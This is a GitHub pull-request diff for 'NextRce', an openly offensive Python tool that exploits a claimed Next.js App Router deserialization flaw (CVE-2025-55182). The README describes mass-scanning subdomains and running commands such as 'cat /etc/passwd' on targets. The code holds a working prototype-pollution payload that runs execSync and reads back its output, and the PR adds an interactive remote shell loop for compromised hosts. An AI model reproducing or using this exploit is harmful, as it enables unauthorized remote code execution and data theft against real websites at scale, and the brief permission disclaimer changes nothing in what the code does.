Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
62 changes: 38 additions & 24 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -26,29 +26,29 @@ By manipulating the serialization process in Server Actions, NextRce injects a c

## 🚀 Key Features

* **Smart Architecture Detection:** Heuristically analyzes the DOM (looking for \`window.__next_f\`) to identify vulnerable **App Router** targets vs. legacy Pages Router sites.
* **Pipeline & CI/CD Ready:** Fully supports \`stdin\` piping. Seamlessly integrates with reconnaissance tools like \`subfinder\`, \`httpx\`, and \`gau\`.
* **Mass Scanning Engine:** Built-in \`ThreadPoolExecutor\` allows for scanning thousands of domains concurrently with minimal resource overhead.
* **Smart Architecture Detection:** Heuristically analyzes the DOM (looking for `window.__next_f`) to identify vulnerable **App Router** targets vs. legacy Pages Router sites.
* **Pipeline & CI/CD Ready:** Fully supports `stdin` piping. Seamlessly integrates with reconnaissance tools like `subfinder`, `httpx`, and `gau`.
* **Mass Scanning Engine:** Built-in `ThreadPoolExecutor` allows for scanning thousands of domains concurrently with minimal resource overhead.
* **Auto-Parsing:** Automatically extracts valid URLs from mixed input formats (e.g., status codes, titles, or raw logs).
* **Live RCE Feedback:** Executes commands and retrieves the output directly from the server's response digest.
* **Proxy Support:** Full support for HTTP/HTTPS proxies (e.g., Burp Suite, Caido) for deep analysis.

## 🔍 Technical Analysis

### The Vulnerability (CVE-2025-55182)
Next.js App Router utilizes a custom serialization format for React Server Components (RSC). The vulnerability exists in the deserialization logic of \`Next-Action\` headers. When a specifically crafted object (polluting the \`__proto__\`) is sent to a server action endpoint (e.g., \`/adfa\`), the internal parser can be coerced into executing arbitrary Node.js code via \`child_process\`.
Next.js App Router utilizes a custom serialization format for React Server Components (RSC). The vulnerability exists in the deserialization logic of `Next-Action` headers. When a specifically crafted object (polluting the `__proto__`) is sent to a server action endpoint (e.g., `/adfa`), the internal parser can be coerced into executing arbitrary Node.js code via `child_process`.

### Exploit Workflow
1. **Reconnaissance:** NextRce sends a benign probe to check for \`X-Powered-By: Next.js\` headers and specific path structures (\`/_next/\`).
1. **Reconnaissance:** NextRce sends a benign probe to check for `X-Powered-By: Next.js` headers and specific path structures (`/_next/`).
2. **Fingerprinting:** It scans the response body for the App Router hydration marker:
* \`window.__next_f\` -> **Vulnerable (App Router)**
* \`__NEXT_DATA__\` -> **Safe (Pages Router)**
* `window.__next_f` -> **Vulnerable (App Router)**
* `__NEXT_DATA__` -> **Safe (Pages Router)**
3. **Payload Injection:** If the architecture is vulnerable, NextRce constructs a multipart/form-data request with a serialized malicious JSON object targeting the prototype.
4. **Execution & Exfiltration:** The payload forces the server to run \`execSync(cmd)\`. The \`stdout\` is base64 encoded and returned in the \`digest\` field of the server's error response, which NextRce decodes and displays.
4. **Execution & Exfiltration:** The payload forces the server to run `execSync(cmd)`. The `stdout` is base64 encoded and returned in the `digest` field of the server's error response, which NextRce decodes and displays.

## 🛠️ Installation

\`\`\`bash
```bash
# Clone the repository
git clone https://github.com/ynsmroztas/NextRce.git

Expand All @@ -57,49 +57,61 @@ cd NextRce

# Install dependencies
pip install requests
\`\`\`
```

## 💻 Usage Examples

### 1. Pipeline / Bug Bounty Mode (Recommended)
NextRce is designed to work in a Linux pipeline. You can pipe the output of your subdomain discovery tools directly into NextRce.

\`\`\`bash
```bash
# Scan subdomains, filter live hosts, and exploit immediately
subfinder -d target.com -silent | httpx -sc -td -title -server -silent | python3 nextrce.py -c "id" -t 50
\`\`\`
```

### 2. Single Target Scan
Test a specific endpoint with a custom command.

\`\`\`bash
```bash
python3 nextrce.py -u https://vulnerable.target.com -c "cat /etc/passwd"
\`\`\`
```

### 3. Mass Scan from File
Scan a list of URLs from a file with high concurrency.

\`\`\`bash
```bash
python3 nextrce.py -l targets.txt -c "whoami" -t 100
\`\`\`
```

### 4. Proxy Mode (Debug)
Route traffic through Burp Suite or another proxy for analysis.

\`\`\`bash
```bash
python3 nextrce.py -u https://target.com -p http://127.0.0.1:8080
\`\`\`
```

## ⚙️ Command Line Options

| Flag | Description | Default |
| :--- | :--- | :--- |
| \`-u\`, \`--url\` | Single target URL to scan | \`None\` |
| \`-l\`, \`--list\` | File path containing a list of URLs | \`None\` |
| \`-c\`, \`--cmd\` | Command to execute on the server | \`id\` |
| \`-t\`, \`--threads\` | Number of concurrent threads | \`30\` |
| \`-p\`, \`--proxy\` | HTTP Proxy URL (e.g., http://127.0.0.1:8080) | \`None\` |
| \`-v\`, \`--verbose\` | Enable verbose output (show failed attempts) | \`False\` |
| `-u`, `--url` | Single target URL to scan | `None` |
| `-l`, `--list` | File path containing a list of URLs | `None` |
| `-c`, `--cmd` | Command to execute on the server | `id` |
| `-t`, `--threads` | Number of concurrent threads | `30` |
| `-p`, `--proxy` | HTTP Proxy URL (e.g., http://127.0.0.1:8080) | `None` |
| `-v`, `--verbose` | Enable verbose output (show failed attempts) | `False` |
| `-i`, `--shell` | Drop into an interactive shell after the first successful exploit (sequential mode) | `False` |

### 5. Interactive Shell (Opt-In)
After finding a vulnerable target, you can jump into a live shell without rerunning the script:

```bash
# Single target: enter shell after first success
python3 nextrce.py -i -u https://vulnerable.target.com

# From a list: shell opens on the first vulnerable host, then stops scanning
python3 nextrce.py -i -l targets.txt
```

## ⚠️ Disclaimer

Expand All @@ -113,3 +125,5 @@ Always obtain explicit permission from the system owner before performing any se

* **Twitter/X:** [@ynsmroztas](https://x.com/ynsmroztas)
* **GitHub:** [ynsmroztas](https://github.com/ynsmroztas)

**CLI interactive shell flag contributed by:** [ToritoIO](https://github.com/ToritoIO) (Twitter/X: [@Xyborg](https://x.com/Xyborg))
65 changes: 55 additions & 10 deletions nextrce.py
Original file line number Diff line number Diff line change
Expand Up @@ -66,7 +66,7 @@ def __init__(self, cmd="id", timeout=10, proxy=None, verbose=False):
}
self.proxies = {"http": proxy, "https": proxy} if proxy else None

def scan_and_exploit(self, target_url):
def scan_and_exploit(self, target_url, auto_shell=False):
try:
# Phase 1: Deep Detection
try:
Expand All @@ -76,7 +76,7 @@ def scan_and_exploit(self, target_url):
except Exception:
if self.verbose:
print(f"{Colors.GREY}[-] {target_url} : Unreachable{Colors.RESET}")
return
return False

is_nextjs = False
is_vulnerable_arch = False
Expand All @@ -103,23 +103,29 @@ def scan_and_exploit(self, target_url):

# Logic Gate
if not is_nextjs:
return # Not a Next.js site, skip silently to keep output clean
return False # Not a Next.js site, skip silently to keep output clean

if not is_vulnerable_arch:
if self.verbose:
print(f"{Colors.YELLOW}[SAFE] {target_url} (Next.js Found but Legacy/Pages Router){Colors.RESET}")
return
return False

# Phase 2: Exploitation (Only if App Router Detected)
if self.verbose:
print(f"{Colors.CYAN}[*] {target_url} identified as App Router. Attempting exploit...{Colors.RESET}")

self.trigger_rce(target_url)
success, _ = self.trigger_rce(target_url)
if success and auto_shell:
# Drop into interactive shell for the compromised host
self.interactive_shell(target_url)
return success

except Exception as e:
pass
return False

def trigger_rce(self, target_url):
def trigger_rce(self, target_url, cmd=None):
# Allow interactive commands; fall back to default
cmd_to_run = cmd or self.cmd
target_ep = urljoin(target_url, "/adfa")

# CVE-2025-55182 Payload
Expand All @@ -130,7 +136,7 @@ def trigger_rce(self, target_url):
'throw Object.assign(new Error(\'x\'),{{digest: res}});","_chunks":"$Q2",'
'"_formData":{{"get":"$1:constructor:constructor"}}}}}}'
)
json_payload = payload_template.format(cmd=self.cmd)
json_payload = payload_template.format(cmd=cmd_to_run)
boundary = "----NextRceMitsecOps"

body = (
Expand Down Expand Up @@ -167,13 +173,40 @@ def trigger_rce(self, target_url):

print(f"{Colors.GREEN}[VULN] {target_url} >>> RCE SUCCESS{Colors.RESET}")
print(f"{Colors.GREY} Output: {decoded}{Colors.RESET}")
return True, decoded
except:
pass
return False, None
elif self.verbose:
print(f"{Colors.BLUE}[FAIL] {target_url} (Exploit failed - WAF or Patched){Colors.RESET}")
return False, None

except Exception:
pass
return False, None

def interactive_shell(self, target_url):
"""
Simple interactive loop to execute arbitrary commands on a compromised target.
Exits on EOF/CTRL+C or when user types an exit keyword.
"""
print(f"{Colors.YELLOW}[SHELL] Connected to {target_url}. Type 'exit' to leave the shell.{Colors.RESET}")
while True:
try:
cmd = input(f"{Colors.BOLD}{target_url}$ {Colors.RESET}").strip()
except (KeyboardInterrupt, EOFError):
print() # newline for cleanliness
break

if not cmd:
continue

if cmd.lower() in {"exit", "quit", "q"}:
break

success, output = self.trigger_rce(target_url, cmd=cmd)
if success and output is not None:
print(f"{Colors.GREY}{output}{Colors.RESET}")
else:
print(f"{Colors.RED}[!] Command failed or blocked{Colors.RESET}")

def main():
print_banner()
Expand All @@ -184,6 +217,7 @@ def main():
parser.add_argument("-t", "--threads", type=int, default=30, help="Number of threads (default: 30)")
parser.add_argument("-p", "--proxy", help="HTTP Proxy (e.g., http://127.0.0.1:8080)")
parser.add_argument("-v", "--verbose", action="store_true", help="Show failed attempts and non-vulnerable targets")
parser.add_argument("-i", "--shell", action="store_true", help="Drop into interactive shell after first successful exploit")

args = parser.parse_args()

Expand Down Expand Up @@ -215,6 +249,17 @@ def main():

scanner = NextExploiter(cmd=args.cmd, timeout=8, proxy=args.proxy, verbose=args.verbose)

# Interactive mode triggers only when explicitly requested
interactive_mode = args.shell

if interactive_mode:
# Run sequentially to avoid input clashes with threadpool
for target in targets:
success = scanner.scan_and_exploit(target, auto_shell=True)
if success:
break # stop after first successful exploit + shell
return

with ThreadPoolExecutor(max_workers=args.threads) as executor:
executor.map(scanner.scan_and_exploit, targets)

Expand Down